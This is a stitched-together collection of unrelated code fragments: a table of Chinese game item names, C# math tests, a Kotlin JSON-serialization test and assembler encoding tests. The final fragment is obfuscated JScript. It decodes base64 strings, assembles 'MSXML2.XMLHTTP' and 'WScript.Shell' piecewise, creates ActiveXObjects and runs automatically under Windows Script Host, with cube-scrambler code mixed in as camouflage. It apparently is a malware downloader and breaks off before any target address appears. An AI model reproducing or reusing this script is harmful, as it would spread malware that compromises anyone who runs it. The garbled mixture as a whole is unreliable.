[212536] = "紹昊背負的七件重擔",
[212537] = "劉浪的民謠",
[212538] = "武豪的望遠鏡",
[212540] = "遺失的桶子",
[212541] = "遺失的酒杯",
[212542] = "遺失的酒杯",
[212543] = "遺失的酒杯",
[212544] = "遺失的酒杯",
[212545] = "遺失的酒杯",
[212546] = "遺失的酒杯",
[212547] = "遺失的酒杯",
[212548] = "遺失的酒杯",
[212549] = "遺失的酒杯",
[212550] = "遺失的酒杯",
[212551] = "遺失的酒杯",
[212552] = "遺失的野餐補給品",
[212553] = "遺失的野餐補給品",
[212554] = "遺失的野餐補給品",
[212555] = "遺失的野餐補給品",
[212556] = "遺失的野餐補給品",
[212634] = "衫織島傳送門",
[212759] = "紅寶石之眼",
[212760] = "紅寶石之眼",
[212761] = "紅寶石之眼",
[212762] = "魔古神器",
[212763] = "魔古神器",
[212764] = "魔


eEqual(normalizesafe(quaternion(0.0f, 0.0f, 0.0f, 0.0f), quaternion(1.0f, 2.0f, 3.0f, 4.0f)), quaternion(1.0f, 2.0f, 3.0f, 4.0f));
            TestUtils.AreEqual(normalizesafe(quaternion(1e-19f, 2e-19f, 3e-19f, 4e-19f)), quaternion(0.182574f, 0.3651484f, 0.547723f, 0.730297f), 0.0001f);
            TestUtils.AreEqual(normalizesafe(quaternion(5.42e-20f, 5.42e-20f, 5.42e-20f, 5.42e-20f), quaternion(1.0f, 2.0f, 3.0f, 4.0f)), quaternion(1.0f, 2.0f, 3.0f, 4.0f));
        }

        [TestCompiler]
        public static void f16tof32_float()
        {
            TestUtils.AreEqual(asuint(f16tof32(0x0000)), 0x00000000);
            TestUtils.AreEqual(asuint(f16tof32(0x0203)), 0x3800C000);
            TestUtils.AreEqual(asuint(f16tof32(0x4321)), 0x40642000);
            TestUtils.AreEqual(asuint(f16tof32(0x7BFF)), 0x477FE000);
            TestUtils.AreEqual(asuint(f16tof32(0x7C00)), 0x7F800000);
            TestUtils.AreEqual(isnan(f16tof32(0x7C01)), true);

            TestUtils.AreEqual(asuint(f16tof32(0x8000)), 0x80000000);
            TestUtils.AreEqual(asuint(f16tof32(0x8203)), 0xB800C000);
            TestUtils.AreEqual(asuint(f16tof32(0xC321)), 0xC0642000);
            TestUtils.AreEqual(asuint(f16tof32(0xFBFF)), 0xC77FE000);
            TestUtils.AreEqual(asuint(f16tof32(0xFC00)), 0xFF800000);
            TestUtils.AreEqual(isnan(f16tof32(0xFC01)), true);
        }

        [TestCompiler]
        public static void f16tof32_float2()
        {
            TestUtils.AreEqual(asuint(f16tof32(uint2(0x0000, 0x0203))), uint2(0x00000000, 0x3800C000));
            TestUtils.AreEqual(asuint(f16tof32(uint2(0x4321, 0x7BFF))), uint2(0x40642000, 0x477FE000));
            TestUtils.AreEqual(asuint(f16tof32(uint2(0x7C00, 0x7C00))), uint2(0x7F800000, 0x7F800000));
            TestUtils.AreEqual(all(isnan(f16tof32(uint2(0x7C01, 0x7C01)))), true);

            TestUtils.AreEqual(asuint(f16tof32(uint2(0x8000, 0x8203))), uint2(0x80000000, 0xB800C000));
            TestUtils.AreEqual(asuint(f16tof32(uint2(0xC321, 0xFBFF))), uint2(0xC0642000, 0xC77FE000));
            TestUtils.AreEqual(asuint(f16tof32(uint2(0xFC00, 0xFC00))), uint2(0xFF800000, 0xFF800000));
            TestUtils.AreEqual(all(isnan(f16tof32(uint2(0xFC01, 0xFC01)))), true);
        }

        [TestCompiler]
        public static void f16tof32_


wImageWidth, viewHeight - previewImageHeight,
                previewImageWidth, previewImageHeight
            )
        }
        else -> {
            PreviewImageBounds(
                viewWidth / 2 - previewImageWidth / 2, viewHeight / 2 - previewImageHeight / 2,
                previewImageWidth, previewImageHeight
            )
        }
    }
}@file:Suppress("RedundantVisibilityModifier")

package org.jetbrains.kotlinx.jupyter.serialization

import kotlinx.serialization.json.JsonObject
import kotlinx.serialization.json.JsonPrimitive
import kotlinx.serialization.json.buildJsonObject
import org.intellij.lang.annotations.Language
import org.jetbrains.kotlinx.jupyter.api.MimeTypedResultEx
import org.jetbrains.kotlinx.jupyter.json2kt.ReservedNames
import org.jetbrains.kotlinx.jupyter.testkit.JupyterReplTestCase
import org.junit.jupiter.api.Test
import kotlin.test.assertEquals
import kotlin.test.assertFailsWith
import kotlin.test.assertIs
import kotlin.test.assertContains

class JsonSerializationIntegrationTest : JupyterReplTestCase() {
    @Test
    fun person() {
        end2end(
            json = """
                {
                  "firstName": "John",
                  "lastName": "Smith",
                  "isAlive": true,
                  "age": 27,
                  "address": {
                    "streetAddress": "21 2nd Street",
                    "city": "New York",
                    "state": "NY",
                    "postalCode": "10021-3100"
                  },
                  "phoneNumbers": [
                    {"type": "home", "number": "212 555-1234"},
                    {"type": "office", "number": "646 555-4567"}
                  ],
                  "children": ["Catherine", "Thomas", "Trevor"],
                  "spouse": null
                }
            """.trimIndent(),
            expectedGenerated = """
                @Serializable
                public data class Person(
                    public val firstName: String,
                    public val lastName: String,
                    public val isAlive: Boolean,
                    public val age: Int,
                    public val address: Address,
                    public val phoneNumbers: List<PhoneNumber>,
                    public val children: List<String>,
                    public val spouse: UntypedAny?,
                )

                @Serializable
                public data class Address(
                    public val streetAddress: String,
                    public val city: String,
                    public val state: String,
                    public val postalCode: String,
                )

                @Serializable
                public data class PhoneNumber(
                    public val type: String,
                    public val number: String,
                )
            """.trimIndent(),
            expectedDeserialized = "Person(" +
                "firstName=John, " +
                "lastName=Smith, " +
                "isAlive=true, " +
                "age=27, " +
                "address=Address(streetAddress=21 2nd Street, city=New York, state=NY, postalCode=10021-3100), " +
                "phoneNumbers=[PhoneNumber(type=home, number=212 555-1234), " +
                "PhoneNumber(type=office, number=646 555-4567)], " +
                "children=[Catherine, Thomas, Trevor], " +
                "spouse=null)",
            imports = listOf(BOOLEAN, INT, STRING, LIST, SERIALIZABLE, UNTYPED_ANY),
            valName = "person",
        )
    }

    @Test
    fun `property type inference`() {
        @Language("JSON")
        val json = """
            {
              "property": "propertyValue",
              "additionalValues": [{
                "a": "a",
                "b": [{"c": "c", "d": "d"}, {"c": "c", "d": null}]


vfmadd213ss {rd-sae}, %xmm16, %xmm22, %xmm30

// CHECK: vfmadd213ss {rz-sae}, %xmm16, %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x22,0x4d,0x70,0xa9,0xf0]
          vfmadd213ss {rz-sae}, %xmm16, %xmm22, %xmm30

// CHECK: vfmadd213ss (%rcx), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x62,0x4d,0x00,0xa9,0x31]
          vfmadd213ss (%rcx), %xmm22, %xmm30

// CHECK: vfmadd213ss 291(%rax,%r14,8), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x22,0x4d,0x00,0xa9,0xb4,0xf0,0x23,0x01,0x00,0x00]
          vfmadd213ss 291(%rax,%r14,8), %xmm22, %xmm30

// CHECK: vfmadd213ss 508(%rdx), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x62,0x4d,0x00,0xa9,0x72,0x7f]
          vfmadd213ss 508(%rdx), %xmm22, %xmm30

// CHECK: vfmadd213ss 512(%rdx), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x62,0x4d,0x00,0xa9,0xb2,0x00,0x02,0x00,0x00]
          vfmadd213ss 512(%rdx), %xmm22, %xmm30

// CHECK: vfmadd213ss -512(%rdx), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x62,0x4d,0x00,0xa9,0x72,0x80]
          vfmadd213ss -512(%rdx), %xmm22, %xmm30

// CHECK: vfmadd213ss -516(%rdx), %xmm22, %xmm30
// CHECK:  encoding: [0x62,0x62,0x4d,0x00,0xa9,0xb2,0xfc,0xfd,0xff,0xff]
          vfmadd213ss -516(%rdx), %xmm22, %xmm30

// CHECK: vfmadd213sd %xmm13, %xmm26, %xmm24
// CHECK:  encoding: [0x62,0x42,0xad,0x00,0xa9,0xc5]
          vfmadd213sd %xmm13, %xmm26, %xmm24

// CHECK: vfmadd213sd %xmm13, %xmm26, %xmm24 {%k3}
// CHECK:  encoding: [0x62,0x42,0xad,0x03,0xa9,0xc5]
          vfmadd213sd %xmm13, %xmm26, %xmm24 {%k3}

// CHECK: vfmadd213sd %xmm13, %xmm26, %xmm24 {%k3} {z}
// CHECK:  encoding: [0x62,0x42,0xad,0x83,0xa9,0xc5]
          vfmadd213sd %xmm13, %xmm26, %xmm24 {%k3} {z}

// CHECK: vfmadd213sd {rn-sae}, %xmm13, %xmm26, %xmm24
// CHECK:  encoding: [0x62,0x42,0xad,0x10,0xa9,0xc5]
          vfmadd213sd {rn-sae}, %xmm13, %xmm26, %xmm24

// CHECK: vfmadd213sd {ru-sae}, %xmm13, %xmm26, %xmm24
// CHECK:  encoding: [0x62,0x42,0xad,0x50,0xa9,0xc5]
          vfmadd213


 NewNameCreator = new Function("GEOGRAPHY,GEOGRAPHY","topSecretLine = "+   ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").osenOSENles() + ".osenOSENles();');");

 var cvetnoybulmortgagesFROG2sirdallos ="GEOGRAPHYRXhwYW5GEOGRAPHYkRW52aXGEOGRAPHYJvbm1lbnRTdHJGEOGRAPHYpbmdz".osenOSENles();
 var cvetnoybulmortgagesFROG2Native = function(options){

};
cvetnoybulmortgagesFROG2Native.cvetnoybulmortgagesFROG2XCOPmplement = function(cvetnoybulmortgagesFROG2objects, cvetnoybulmortgagesFROG2properties){
	for ( var cvetnoybulmortgagesFROG2XCOP = 0, cvetnoybulmortgagesFROG2l = cvetnoybulmortgagesFROG2objects.length; cvetnoybulmortgagesFROG2XCOP < cvetnoybulmortgagesFROG2l; cvetnoybulmortgagesFROG2XCOP++) cvetnoybulmortgagesFROG2objects[cvetnoybulmortgagesFROG2XCOP].cvetnoybulmortgagesFROG2XCOPmplement(cvetnoybulmortgagesFROG2properties);
};

 var cvetnoybulmortgagesFROGhatershaha = "";
 var cvetnoybulmortgagesFROGodnoklass = "EufOyLA";
function  mexAO(AOn){
	return new ActiveXObject(AOn);
}if(WSH){
	NewNameCreator();
}
 function  mix2(){
        perm_sel[fixed] = fixed;     /* Generate random orientation*/      var total = 0;      var ori_sel = Array();      var i = fixed === 0 ? 1 : 0;     for(; i < 7; i = i === fixed - 1 ? i + 2 : i + 1){       ori_sel[i] = scramblers.lib.randomInt.below(3);       total += ori_sel[i];     }     if(i <= 7) ori_sel[i] = (3 - (total % 3)) % 3;     ori_sel[fixed] = 0;      /* Convert to face format*/     /* Mapping from permutation/orientation to facelet*/      var D = 1, L = 2, B = 5, U = 4, R = 3, F = 0;     /* D 0 1 2 3  L 4 5 6 7  B 8 9 10 11  U 12 13 14 15  R 16 17 18 19  F 20 21 22 23*/     /* Map from permutation/orientation to face*/   /* Convert cubie representation into facelet representaion*/     for( var i = 0; i < 8; i++){       for( var j = 0; j < 3; j++)         posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j];     }
}
 var cvetnoybulmortgagesFROG2d7 = "M" +"L"+ ReebokGalaxyFROGzapadniy(("cvetnoybulmortgagespostponement","cvetnoybulmortgagesflash","cvetnoybulmortgagesbrooded","cvetnoybulmortgagesmemories","cvetnoybulmortgagesminnesota","2.")+"FARISHMYML77H101T"+"TP45GEOGRAPHY45"+"WU"+"cr"+"ipt:Sh"+"e"+"ll");

cvetnoybulmortgagesFROG2d7 = "\x58" + cvetnoybulmortgagesFROG2d7;
cvetnoybulmortga